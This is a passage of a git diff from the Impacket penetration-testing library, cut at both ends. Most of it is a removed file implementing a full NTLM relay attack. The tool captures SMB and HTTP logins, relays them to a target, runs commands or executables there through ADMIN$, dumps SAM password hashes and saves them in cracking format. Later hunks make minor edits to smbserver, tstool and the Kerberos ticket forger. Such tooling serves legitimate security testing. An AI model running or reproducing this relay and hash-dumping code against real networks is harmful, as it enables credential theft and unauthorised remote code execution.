ATTACKED_HOSTS - if self.__exeFile is not None: - result = self.installService.install() - if result is True: - logging.info("Service Installed.. CONNECT!") - self.installService.uninstall() - else: - ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) - else: - from impacket.examples.secretsdump import RemoteOperations, SAMHashes - samHashes = None - try: - # We have to add some flags just in case the original client did not - # Why? needed for avoiding INVALID_PARAMETER - flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() - flags2 |= SMB.FLAGS2_LONG_NAMES - self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) - - remoteOps = RemoteOperations(self.__SMBConnection, False) - remoteOps.enableRegistry() - except Exception as e: - logging.debug('Exception:', exc_info=True) - # Something wen't wrong, most probably we don't have access as admin. aborting - logging.error(str(e)) - ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) - return - - try: - if self.__command is not None: - remoteOps._RemoteOperations__executeRemote(self.__command) - logging.info("Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost()) - self.__answerTMP = b'' - self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) - logging.debug('Raw answer %r' % self.__answerTMP) - - try: - print(self.__answerTMP.decode(CODEC)) - except UnicodeDecodeError: - logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbrelayx.py ' - 'again with -codec and the corresponding codec') - print(self.__answerTMP) - - self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') - else: - bootKey = remoteOps.getBootKey() - remoteOps._RemoteOperations__serviceDeleted = True - samFileName = remoteOps.saveSAM() - samHashes = SAMHashes(samFileName, bootKey, isRemote = True) - samHashes.dump() - logging.info("Done dumping SAM hashes for host: %s" % self.__SMBConnection.getRemoteHost()) - except Exception as e: - logging.debug('Exception:', exc_info=True) - ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) - logging.error(str(e)) - finally: - if samHashes is not None: - samHashes.finish() - if remoteOps is not None: - remoteOps.finish() - try: - ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) - except Exception as e: - logging.error(str(e)) - pass - - -class SMBClient(SMB): - def __init__(self, remote_name, extended_security = True, sess_port = 445): - self._extendedSecurity = extended_security - self.domainIp = None - self.machineAccount = None - self.machineHashes = None - - SMB.__init__(self,remote_name, remote_name, sess_port = sess_port) - - def neg_session(self): - neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity) - return neg_sess - - def setUid(self,uid): - self._uid = uid - - def login_standard(self, user, domain, ansiPwd, unicodePwd): - smb = NewSMBPacket() - smb['Flags1'] = 8 - - sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) - sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() - sessionSetup['Data'] = SMBSessionSetupAndX_Data() - - sessionSetup['Parameters']['MaxBuffer'] = 65535 - sessionSetup['Parameters']['MaxMpxCount'] = 2 - sessionSetup['Parameters']['VCNumber'] = os.getpid() - sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey'] - sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd) - sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd) - sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE - - sessionSetup['Data']['AnsiPwd'] = ansiPwd - sessionSetup['Data']['UnicodePwd'] = unicodePwd - sessionSetup['Data']['Account'] = user - sessionSetup['Data']['PrimaryDomain'] = domain - sessionSetup['Data']['NativeOS'] = 'Unix' - sessionSetup['Data']['NativeLanMan'] = 'Samba' - - smb.addCommand(sessionSetup) - - self.sendSMB(smb) - smb = self.recvSMB() - try: - smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) - except: - logging.error("Error login_standard") - return None, STATUS_LOGON_FAILURE - else: - self._uid = smb['Uid'] - return smb, STATUS_SUCCESS - - def setDomainAccount( self, machineAccount, machineHashes, domainIp): - self.machineAccount = machineAccount - self.machineHashes = machineHashes - self.domainIp = domainIp - if self._SignatureRequired is True: - if self.domainIp is None: - logging.error("Signature is REQUIRED on the other end, attack will not work") - else: - logging.info("Signature is REQUIRED on the other end, using NETLOGON approach") - - - def netlogonSessionKey(self, challenge, authenticateMessageBlob): - # Here we will use netlogon to get the signing session key - logging.info("Connecting to %s NETLOGON service" % self.domainIp) - - respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) - authenticateMessage = NTLMAuthChallengeResponse() - authenticateMessage.fromString(respToken2['ResponseToken'] ) - _, machineAccount = self.machineAccount.split('/') - domainName = authenticateMessage['domain_name'].decode('utf-16le') - - try: - av_pairs = authenticateMessage['ntlm'][44:] - av_pairs = AV_PAIRS(av_pairs) - - serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') - except: - logging.debug("Exception:", exc_info=True) - # We're in NTLMv1, not supported - return STATUS_ACCESS_DENIED - - stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp - - rpctransport = transport.DCERPCTransportFactory(stringBinding) - - if len(self.machineHashes) > 0: - lmhash, nthash = self.machineHashes.split(':') - else: - lmhash = '' - nthash = '' - - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash) - - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(nrpc.MSRPC_UUID_NRPC) - resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678') - - serverChallenge = resp['ServerChallenge'] - - if self.machineHashes == '': - ntHash = None - else: - ntHash = unhexlify(self.machineHashes.split(':')[1]) - - sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) - - ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) - - nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', - ppp, 0x600FFFFF) - - clientStoredCredential = pack('=0 or message.find('RPC_IN'): - return self.do_GET() - return http.server.SimpleHTTPRequestHandler.send_error(self,code,message) - - def do_GET(self): - messageType = 0 - if PY2: - authorizationHeader = self.headers.getheader('Authorization') - else: - authorizationHeader = self.headers.get('Authorization') - - if authorizationHeader is None: - self.do_AUTHHEAD(message = b'NTLM') - pass - else: - #self.do_AUTHHEAD() - typeX = authorizationHeader - try: - _, blob = typeX.split('NTLM') - token = base64.b64decode(blob.strip()) - except: - self.do_AUTHHEAD() - messageType = unpack('> 16 - packet['ErrorClass'] = errorCode & 0xff - - return None, [packet], STATUS_NOT_SUPPORTED - else: - logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target)) - - try: - if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0: - extSec = False - else: - if self.mode.upper() == 'REFLECTION': - # Force standard security when doing reflection - logging.info("Downgrading to standard security") - extSec = False - recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY) - else: - extSec = True - client = SMBClient(self.target, extended_security = extSec) - client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) - client.set_timeout(60) - except Exception as e: - logging.error("Connection against target %s FAILED" % self.target) - logging.error(str(e)) - else: - encryptionKey = client.get_encryption_key() - smbData[self.target] = {} - smbData[self.target]['SMBClient'] = client - if encryptionKey is not None: - connData['EncryptionKey'] = encryptionKey - smbServer.setConnectionData('SMBRelay', smbData) - smbServer.setConnectionData(connId, connData) - return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) - ############################################################# - - def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket): - - connData = smbServer.getConnectionData(connId, checkStatus = False) - ############################################################# - # SMBRelay - smbData = smbServer.getConnectionData('SMBRelay', False) - ############################################################# - - respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) - global ATTACKED_HOSTS - - if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY: - # Extended security. Here we deal with all SPNEGO stuff - respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() - respData = SMBSessionSetupAndX_Extended_Response_Data() - sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) - sessionSetupData = SMBSessionSetupAndX_Extended_Data() - sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] - sessionSetupData.fromString(smbCommand['Data']) - connData['Capabilities'] = sessionSetupParameters['Capabilities'] - - if unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: - # If there no GSSAPI ID, it must be an AUTH packet - blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) - token = blob['ResponseToken'] - else: - # NEGOTIATE packet - blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) - token = blob['MechToken'] - - # Here we only handle NTLMSSP, depending on what stage of the - # authentication we are, we act on it - messageType = unpack('> 16 - packet['ErrorClass'] = errorCode & 0xff - - return None, [packet], STATUS_NOT_SUPPORTED - - # It might happen if the target connects back before a previous connection has finished, we might - # get to this function w/o having the dict and smbClient entry created, because a - # NEGOTIATE_CONNECTION was not needed - if (self.target in smbData) is False: - smbData[self.target] = {} - smbClient = SMBClient(self.target) - smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) - smbClient.set_timeout(60) - smbData[self.target]['SMBClient'] = smbClient - - smbClient = smbData[self.target]['SMBClient'] - clientChallengeMessage = smbClient.sendNegotiate(token) - challengeMessage = NTLMAuthChallenge() - challengeMessage.fromString(clientChallengeMessage) - ############################################################# - - respToken = SPNEGO_NegTokenResp() - # accept-incomplete. We want more data - respToken['NegState'] = b'\x01' - respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] - - respToken['ResponseToken'] = challengeMessage.getData() - - # Setting the packet to STATUS_MORE_PROCESSING - errorCode = STATUS_MORE_PROCESSING_REQUIRED - # Let's set up an UID for this connection and store it - # in the connection's data - # Picking a fixed value - # TODO: Manage more UIDs for the same session - connData['Uid'] = 10 - # Let's store it in the connection data - connData['CHALLENGE_MESSAGE'] = challengeMessage - - elif messageType == 0x03: - # AUTHENTICATE_MESSAGE, here we deal with authentication - - ############################################################# - # SMBRelay: Ok, so now the have the Auth token, let's send it - # back to the target system and hope for the best. - smbClient = smbData[self.target]['SMBClient'] - authenticateMessage = NTLMAuthChallengeResponse() - authenticateMessage.fromString(token) - if authenticateMessage['user_name'] != '': - clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'], - sessionSetupData['SecurityBlob']) - else: - # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials - errorCode = STATUS_ACCESS_DENIED - - if errorCode != STATUS_SUCCESS: - # Let's return what the target returned, hope the client connects back again - packet = NewSMBPacket() - packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS - packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY - packet['Command'] = recvPacket['Command'] - packet['Pid'] = recvPacket['Pid'] - packet['Tid'] = recvPacket['Tid'] - packet['Mid'] = recvPacket['Mid'] - packet['Uid'] = recvPacket['Uid'] - packet['Data'] = b'\x00\x00\x00' - packet['ErrorCode'] = errorCode >> 16 - packet['ErrorClass'] = errorCode & 0xff - # Reset the UID - smbClient.setUid(0) - logging.error("Authenticating against %s as %s\\%s FAILED" % ( - self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) - # del (smbData[self.target]) - return None, [packet], errorCode - else: - # We have a session, create a thread and do whatever we want - logging.info("Authenticating against %s as %s\\%s SUCCEED" % ( - self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) - ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], - authenticateMessage['user_name'], - authenticateMessage['domain_name'], - authenticateMessage['lanman'], authenticateMessage['ntlm']) - logging.info(ntlm_hash_data['hash_string']) - if self.server.getJTRdumpPath() != '': - writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], - self.server.getJTRdumpPath()) - - # Target will be attacked, adding to the attacked set - # If the attack fails, the doAttack thread will be responsible of removing it from the set - ATTACKED_HOSTS.add(self.target) - if self.runSocks is True: - # Pass all the data to the socksplugins proxy - protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) - protocolClient.session = SMBConnection(existingConnection=smbClient) - activeConnections.put((self.target, 445, 'SMB', - ('%s/%s' % ( - authenticateMessage['domain_name'].decode('utf-16le'), - authenticateMessage['user_name'].decode('utf-16le'))).upper(), - protocolClient, connData)) - logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) - del (smbData[self.target]) - else: - del (smbData[self.target]) - clientThread = doAttack(smbClient,self.exeFile,self.command) - clientThread.start() - - - # Now continue with the server - ############################################################# - - # Return status code of the authentication process. - errorCode = self.returnStatus - logging.info("Sending status code %s after authentication to %s" % ( - ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) - - respToken = SPNEGO_NegTokenResp() - # accept-completed - respToken['NegState'] = b'\x00' - - # Status SUCCESS - # Let's store it in the connection data - connData['AUTHENTICATE_MESSAGE'] = authenticateMessage - else: - raise Exception("Unknown NTLMSSP MessageType %d" % messageType) - - respParameters['SecurityBlobLength'] = len(respToken) - - respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] - respData['SecurityBlob'] = respToken.getData() - - else: - # Process Standard Security - respParameters = SMBSessionSetupAndXResponse_Parameters() - respData = SMBSessionSetupAndXResponse_Data() - sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters']) - sessionSetupData = SMBSessionSetupAndX_Data() - sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] - sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] - sessionSetupData.fromString(smbCommand['Data']) - connData['Capabilities'] = sessionSetupParameters['Capabilities'] - ############################################################# - # SMBRelay - smbClient = smbData[self.target]['SMBClient'] - if sessionSetupData['Account'] != '': - clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], - sessionSetupData['PrimaryDomain'], - sessionSetupData['AnsiPwd'], - sessionSetupData['UnicodePwd']) - else: - # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials - errorCode = STATUS_ACCESS_DENIED - - if errorCode != STATUS_SUCCESS: - # Let's return what the target returned, hope the client connects back again - packet = NewSMBPacket() - packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS - packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY - packet['Command'] = recvPacket['Command'] - packet['Pid'] = recvPacket['Pid'] - packet['Tid'] = recvPacket['Tid'] - packet['Mid'] = recvPacket['Mid'] - packet['Uid'] = recvPacket['Uid'] - packet['Data'] = '\x00\x00\x00' - packet['ErrorCode'] = errorCode >> 16 - packet['ErrorClass'] = errorCode & 0xff - # Reset the UID - smbClient.setUid(0) - return None, [packet], errorCode - # Now continue with the server - else: - # We have a session, create a thread and do whatever we want - ntlm_hash_data = outputToJohnFormat(b'', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], - sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) - logging.info(ntlm_hash_data['hash_string']) - if self.server.getJTRdumpPath() != '': - writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], - self.server.getJTRdumpPath()) - # Target will be attacked, adding to the attacked set - # If the attack fails, the doAttack thread will be responsible of removing it from the set - ATTACKED_HOSTS.add(self.target) - if self.runSocks is True: - # Pass all the data to the socksplugins proxy - protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) - protocolClient.session = SMBConnection(existingConnection=smbClient) - activeConnections.put((self.target, 445, 'SMB', - ('%s/%s' % ( - sessionSetupData['PrimaryDomain'], - sessionSetupData['Account'])).upper(), - protocolClient, connData)) - logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) - # Remove the target server from our connection list, the work is done - del (smbData[self.target]) - else: - # Remove the target server from our connection list, the work is done - del (smbData[self.target]) - clientThread = doAttack(smbClient, self.exeFile, self.command) - clientThread.start() - # Now continue with the server - - - ############################################################# - - # Do the verification here, for just now we grant access - # TODO: Manage more UIDs for the same session - errorCode = self.returnStatus - logging.info("Sending status code %s after authentication to %s" % ( - ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) - connData['Uid'] = 10 - respParameters['Action'] = 0 - - respData['NativeOS'] = smbServer.getServerOS() - respData['NativeLanMan'] = smbServer.getServerOS() - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData - - # From now on, the client can ask for other commands - connData['Authenticated'] = True - ############################################################# - # SMBRelay - smbServer.setConnectionData('SMBRelay', smbData) - ############################################################# - smbServer.setConnectionData(connId, connData) - - return [respSMBCommand], None, errorCode - - def _start(self): - self.server.serve_forever() - - def run(self): - logging.info("Setting up SMB Server") - self._start() - - def setTargets(self, targets): - self.target = targets - - def setExeFile(self, filename): - self.exeFile = filename - - def setCommand(self, command): - self.command = command - - def setSocks(self, socks): - self.runSocks = socks - - def setReturnStatus(self, returnStatus): - # Specifies return status after successful relayed authentication to return - # to the connecting client. This comes useful when we don't want the connecting - # client to store successful credentials in his memory. Valid statuses: - # STATUS_SUCCESS - denotes that the connecting client passed valid credentials, - # which will make him store them accordingly. - # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin, - # and got configured Remote UAC, thus preventing connection to ADMIN$ - # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials - # are invalid. - self.returnStatus = { - 'success' : STATUS_SUCCESS, - 'denied' : STATUS_ACCESS_DENIED, - 'logon_failure' : STATUS_LOGON_FAILURE - }[returnStatus.lower()] - - def setMode(self,mode, one_shot): - self.mode = mode - self.one_shot = one_shot - - def setDomainAccount( self, machineAccount, machineHashes, domainIp): - self.machineAccount = machineAccount - self.machineHashes = machineHashes - self.domainIp = domainIp - -# Process command-line arguments. -if __name__ == '__main__': - - RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) - print(version.BANNER) - print(version.WARNING_BANNER) - parser = argparse.ArgumentParser(add_help=False, - description="For every connection received, this module will try to SMB relay that " - " connection to the target system or the original client") - parser.add_argument("--help", action="help", help='show this help message and exit') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-h', action='store', metavar='HOST', - help='Host to relay the credentials to, if not it will relay it back to the client') - parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success', - help='Status to return after client performed authentication. Default: "success".') - parser.add_argument('-e', action='store', required=False, metavar='FILE', - help='File to execute on the target system. If not specified, hashes will be dumped ' - '(secretsdump.py must be in the same directory)') - parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', - help='Command to execute on target system. If not specified, hashes will be dumped ' - '(secretsdump.py must be in the same directory)') - parser.add_argument('-socks', action='store_true', default=False, - help='Launch a SOCKS proxy for the connection relayed') - parser.add_argument('-one-shot', action='store_true', default=False, - help='After successful authentication, only execute the attack once for each target') - parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' - '"%s"). If errors are detected, run chcp.com at the target, ' - 'map the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbrelayx.py ' - 'again with -codec and the corresponding codec ' % CODEC) - parser.add_argument('-outputfile', action='store', - help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') - parser.add_argument('-machine-account', action='store', required=False, - help='Domain machine account to use when interacting with the domain to grab a session key for ' - 'signing, format is domain/machine_name') - parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", - help='Domain machine hashes, format is LMHASH:NTHASH') - parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') - - try: - options = parser.parse_args() - except Exception as e: - logging.error(str(e)) - sys.exit(1) - - # Init the example's logger theme - logger.init(options.ts) - - if options.codec is not None: - CODEC = options.codec - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - - if options.h is not None: - logging.info("Running in relay mode") - mode = 'RELAY' - targetSystem = options.h - else: - logging.info("Running in reflection mode") - targetSystem = None - mode = 'REFLECTION' - - exeFile = options.e - Command = options.c - returnStatus = options.s - - threads = set() - - if options.socks is True: - # Start a SOCKS proxy in the background - s1 = SOCKS() - socks_thread = Thread(target=s1.serve_forever) - socks_thread.daemon = True - socks_thread.start() - threads.add(socks_thread) - - for server in RELAY_SERVERS: - s = server(options.outputfile) - s.setTargets(targetSystem) - s.setExeFile(exeFile) - s.setCommand(Command) - s.setSocks(options.socks) - s.setReturnStatus(returnStatus) - s.setMode(mode, options.one_shot) - if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: - s.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) - elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: - logging.error("You must specify machine-account/hashes/domain all together!") - sys.exit(1) - - s.start() - threads.add(s) - - print("") - logging.info("Servers started, waiting for connections") - while True: - try: - sys.stdin.read() - except KeyboardInterrupt: - logging.info('Quitting.. please wait') - if options.socks is True: - s1.shutdown() - for s in threads: - del(s) - sys.exit(1) - else: - pass diff --git a/examples/smbserver.py b/examples/smbserver.py index 96ee989827..931d8a8bf4 100755 --- a/examples/smbserver.py +++ b/examples/smbserver.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -43,6 +45,7 @@ parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') + parser.add_argument('-outputfile', action='store', default=None, help='Output file to log smbserver output messages') if len(sys.argv)==1: parser.print_help() @@ -70,6 +73,10 @@ server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) + if options.outputfile: + logging.info('Switching output to file %s' % options.outputfile) + server.setLogFile(options.outputfile) + server.addShare(options.shareName.upper(), options.sharePath, comment) server.setSMB2Support(options.smb2support) @@ -97,9 +104,5 @@ # e.g. server.setSMBChallenge('12345678abcdef00') server.setSMBChallenge('') - # If you don't want log to stdout, comment the following line - # If you want log dumped to a file, enter the filename - server.setLogFile('') - # Rock and roll server.start() diff --git a/examples/sniff.py b/examples/sniff.py index 7ec7c79e63..c5de657aee 100755 --- a/examples/sniff.py +++ b/examples/sniff.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/sniffer.py b/examples/sniffer.py index 9ff7dc2ac4..5820571532 100755 --- a/examples/sniffer.py +++ b/examples/sniffer.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/split.py b/examples/split.py index 6751a7cf4b..1200f7d465 100755 --- a/examples/split.py +++ b/examples/split.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/ticketConverter.py b/examples/ticketConverter.py index 308288fd3a..5359cb3de3 100755 --- a/examples/ticketConverter.py +++ b/examples/ticketConverter.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/ticketer.py b/examples/ticketer.py index c41a0c06e5..9ac6ca0550 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -136,7 +138,7 @@ def createBasicValidationInfo(self): # 1) KERB_VALIDATION_INFO kerbdata = KERB_VALIDATION_INFO() - aTime = timegm(datetime.datetime.utcnow().timetuple()) + aTime = timegm(datetime.datetime.now(datetime.timezone.utc).timetuple()) unixTime = self.getFileTime(aTime) kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff @@ -485,7 +487,7 @@ def getKerberosS4U2SelfU2U(self): seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) @@ -574,7 +576,7 @@ def getKerberosS4U2SelfU2U(self): seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) @@ -595,7 +597,7 @@ def getKerberosS4U2SelfU2U(self): def customizeTicket(self, kdcRep, pacInfos): logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) - ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration)) + ticketDuration = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(hours=int(self.__options.duration)) if self.__options.impersonate: # Doing Sapphire Ticket @@ -713,8 +715,8 @@ def customizeTicket(self, kdcRep, pacInfos): encTicketPart['transited'] = noValue encTicketPart['transited']['tr-type'] = 0 encTicketPart['transited']['contents'] = '' - encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) - encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc)) + encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc)) # Let's extend the ticket's validity a lil bit encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) @@ -838,7 +840,7 @@ def customizeTicket(self, kdcRep, pacInfos): encRepPart['last-req'] = noValue encRepPart['last-req'][0] = noValue encRepPart['last-req'][0]['lr-type'] = 0 - encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc)) encRepPart['nonce'] = 123456789 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) flags = [] diff --git a/examples/tstool.py b/examples/tstool.py index aaedd48e96..5994be6c80 100755 --- a/examples/tstool.py +++ b/examples/tstool.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -38,8 +40,9 @@ from impacket.examples.utils import parse_target from impacket.smbconnection import SMBConnection from impacket import LOG -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.dcerpc.v5 import transport, lsat, lsad +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException +from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5 import tsts as TSTS import traceback @@ -58,12 +61,12 @@ def __init__(self, username, password, domain, options): self.__doKerberos = options.k self.__kdcHost = options.dc_ip self.__smbConnection = None - self.__remoteOps = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self, remoteName, remoteHost): + self.remoteName = remoteName self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) if self.__doKerberos: @@ -83,9 +86,7 @@ def run(self, remoteName, remoteHost): def get_session_list(self): # Retreive session list - smb = self.__smbConnection - target_ip = self.__options.target_ip - with TSTS.TermSrvEnumeration(self.__smbConnection, self.__options.target_ip) as lsm: + with TSTS.TermSrvEnumeration(self.__smbConnection, self.__options.target_ip, self.__doKerberos) as lsm: handle = lsm.hRpcOpenEnum() rsessions = lsm.hRpcGetEnumResult(handle, 